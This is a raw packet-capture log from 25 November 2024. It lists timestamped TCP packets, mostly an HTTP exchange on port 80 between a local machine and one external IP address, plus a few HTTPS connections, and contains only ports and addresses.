Nov 25, 2024 12:09:01.631858110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.631900072 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.631958961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.631997108 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.635945082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.636029005 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.636058092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.636100054 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.640028954 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.640077114 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.640116930 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.640158892 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.644108057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.644149065 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.644223928 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.644263983 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.648232937 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.648258924 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.648281097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.648304939 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.733236074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.733297110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.733371973 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.734956980 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.735019922 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.735106945 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.736449003 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.738704920 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.738789082 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.738846064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.742029905 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.742119074 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.742177010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.744939089 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.745038033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.745090961 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.748136997 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.748194933 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.748207092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.748250008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.750956059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.751097918 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.751143932 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.754450083 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.754475117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.754527092 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.756911993 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.757098913 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.757158041 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.759947062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.760001898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.760055065 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.760103941 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.762948990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.763053894 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.763103008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.765742064 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.765853882 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.765909910 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.768552065 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.768610954 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.768678904 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.768726110 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.771375895 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.771481991 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.771549940 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.774249077 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.774363041 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.774422884 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.777240992 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.777400017 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.777471066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.779887915 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.779942989 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.780018091 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.780069113 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.782481909 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.782536030 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.782593966 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.785123110 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.785299063 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.785356998 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.787792921 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.787843943 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.787893057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.787940025 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.790472984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.790606976 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.790672064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.793236017 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.793302059 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.793345928 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.793416023 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.795954943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.796017885 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.796086073 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.796135902 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.798655033 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.798765898 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.798830986 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.801438093 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.801561117 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.801619053 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.804169893 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.804238081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.804239988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.804287910 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.806859016 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.806929111 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.806931973 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.806972980 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.809557915 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.809628010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.809679031 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.809923887 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.812504053 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.812578917 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.812603951 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.812649965 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.815109968 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.815185070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.815231085 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.815279961 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.817801952 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.817857027 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.817897081 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.817939043 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.820465088 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.820518970 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.820547104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.820571899 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.823571920 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.823621988 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.823688984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.823823929 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.826381922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.826442003 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.826507092 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.826550961 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.829564095 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.829637051 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.829655886 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.829765081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.831939936 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.832110882 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.832159042 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.834371090 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.834455013 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.834512949 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.836790085 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.836899996 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.836934090 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.836997032 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.839488983 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.839658976 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.839780092 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.842226028 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.842370033 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.842401028 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.842475891 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.845029116 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.845109940 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.845149040 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.845185041 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.847712994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.847770929 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.847774029 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.847826004 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.850431919 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.850457907 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.850496054 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.850507975 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.853143930 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.853358984 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.853494883 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.855874062 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.855925083 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.855927944 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.855966091 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.858608961 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.858774900 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.858841896 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.861402988 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.861459017 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.861505032 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.864063978 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.864129066 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.864197969 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.864237070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.866800070 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.866930962 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.866988897 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.869677067 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.869755030 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.869844913 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.870171070 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.872256994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.872415066 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.872463942 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.912194014 CET	443	49831	20.189.173.24	192.168.2.8
Nov 25, 2024 12:09:01.934434891 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.934566975 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.934657097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.935447931 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.935555935 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.935611010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.937454939 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.937517881 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.937572002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.939441919 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.939496994 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.939500093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.939551115 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.941369057 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.941510916 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.941561937 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.943381071 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.943489075 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.943546057 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.945221901 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.945275068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.945276022 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.947114944 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.947170019 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.947249889 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.947297096 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.949182034 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.949234962 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.949239969 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.951518059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.951574087 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.951617956 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.951663017 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.952976942 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.953026056 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.953077078 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.953669071 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.953722000 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.953754902 CET	443	49778	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.953804016 CET	49778	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:01.954673052 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.954889059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.954938889 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.956454039 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.956507921 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.956517935 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.956558943 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.957372904 CET	49831	443	192.168.2.8	20.189.173.24
Nov 25, 2024 12:09:01.958223104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.958270073 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.958319902 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.958364010 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.959923029 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.959971905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.960205078 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.960248947 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.961669922 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.961724997 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.961806059 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.963499069 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.963560104 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.963587999 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.963641882 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.965097904 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.965163946 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.965285063 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.965329885 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.966835976 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.966965914 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.967019081 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.968525887 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.968579054 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.968637943 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.970217943 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.970321894 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.970387936 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.971885920 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.971951008 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.972052097 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.972119093 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.973562002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.973632097 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.973685026 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.975203037 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.975265026 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.975339890 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.975390911 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.976843119 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.976902962 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.976983070 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.978538990 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.978606939 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.978688002 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.978739023 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.980268955 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.980328083 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.980367899 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.980416059 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.981729984 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.981854916 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.981909990 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.982783079 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.982830048 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.982908964 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.982955933 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.983714104 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.983753920 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.983819008 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.983875990 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.984693050 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.984726906 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.984750032 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.984774113 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.985639095 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.985685110 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.985744953 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.985794067 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.986602068 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.986649990 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.986712933 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.986763954 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.987600088 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.987670898 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.987726927 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.987780094 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.988636017 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.988693953 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.988770962 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.989491940 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.989561081 CET	443	49773	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.989562035 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.989578009 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.989614964 CET	80	49830	185.215.113.16	192.168.2.8
Nov 25, 2024 12:09:01.989618063 CET	49773	443	192.168.2.8	172.64.41.3
Nov 25, 2024 12:09:01.989641905 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.989654064 CET	49830	80	192.168.2.8	185.215.113.16
Nov 25, 2024 12:09:01.990125895 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.990138054 CET	443	49776	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.990195036 CET	443	49775	172.64.41.3	192.168.2.8
Nov 25, 2024 12:09:01.990219116 CET	443	49776	172.64.41.3	192.168.2.8
